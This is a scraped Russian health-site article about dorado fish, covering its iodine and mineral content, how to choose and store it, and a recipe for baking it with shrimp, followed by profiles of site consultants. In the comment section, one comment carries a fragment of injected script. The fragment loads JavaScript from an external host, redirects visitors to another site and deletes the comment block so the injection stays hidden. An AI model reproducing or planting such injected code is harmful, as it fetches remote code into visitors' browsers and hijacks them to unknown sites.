Здоровье ИНФО
Присоединяйтесь к нам:
 
Обратная связь
 

Дорадо

Размер шрифта
27 января 2012 08:53
  • google_analytics: false
  • Нравится

Рыба дорадо известна миру довольно давно и всегда являлась самой популярной рыбой Средиземноморья.

1

Дорадо содержится в чистейшей воде и подкармливается специальным кормом. В результате этих стараний рыба получает плотное белое мясо, которое обладает тонким ароматом. Мясо дорадо является диетическим – оно совершенно нежирное.

Достоинства

Дорадо богата йодом, который входит в состав так называемых тиреоидных гормонов, вырабатываемых щитовидной железой — тироксина и трийодтиронина. Также рыба содержит марганец, цинк, калий (416 мг на 100 г), фосфор (143 мг на 100 г).

Пьедестал почета по содержанию йода

Дорадо – 65 мкг
Окунь – 60 мкг
Скумбрия – 45 мкг

1

Как выбрать

Существует два вида дорады: королевская и серая. У королевской дорады вкус мяса более нежный. Глаза должны быть наполненными, влажными, яркими и выпуклыми. Не покупайте рыбу с тусклыми, сухими, сморщенными или запавшими глазами. Жабры у рыбы должны быть чистыми, красными и яркими, не посеревшими и без слизи. Жабры лучше всего понюхать, от них должно пахнуть морем. Туловище рыбы должно быть плотным, гладким и упругим, а не обмякшим, обвисшим или комковатым. Нужно нажать на брюшко рыбы и если вмятина быстро разглаживается то это хорошо, если вмятина остаётся то это плохо. Рыба должна быть блестящей и влажной на ощупь, а не сухой или тусклой, и иметь натуральный цвет.

Качественную замороженную рыбу выбрать сложнее. При оттаивании она должна иметь плотную консистенцию соединительных тканей и свежий запах. Глазировка (лед) на рыбе не должна быть толще 3–4 мм. Заметили беловатые подсохшие пятна – значит, рыбина в заморозке больше трех месяцев, и ничего полезного в ней уже нет.

Как хранить

Рыбу можно заморозить. Для этого рыбу надо выпотрошить, промыть, положить в вакуумный контейнер и отправить в морозильную камеру. В таком виде ее можно хранить не дольше 3 месяцев.

Свежая рыба храниться 1-2 дня в герметичном контейнере или в стеклянной посуде, накрыв пищевой пленкой, в наиболее холодной части холодильника – внизу у стенки. Но для этого его нужно промыть и тщательно обсушить.

В морозилке можно хранить 2 месяца.

Как готовить

В приготовлении эти рыбы практически универсальны. Готовить дораду можно всеми возможными способами — эта рыба прекрасно сохраняет свой неповторимый нежный вкус. Дорадо имеет мелкие косточки — ее не следует давать маленьким детям.

Рецепт: «Запеченная дорадо в духовке с креветками»

Дорадо – две штуки
Креветки очищенные маленькие 100-150 г
Помидор
Лимон
Оливковое масло
Специи

Рыбу помыть, почистить, выпотрошить. Порезать мелко помидоры. Креветки залить кипятком, с креветок слить воду перемешать с помидором, оливковым маслом и специями. Рыбу смазать оливковым маслом и сбрызнуть лимонным соком. В брюшко каждой рыбки положить начинку из помидор и креветок. Выложить рыбу в форму для запекания. И отправить в духовку на 30-35 минут.


Сюжеты по теме:
Дорадо. Золотая рыбка тропических морей

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:59

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.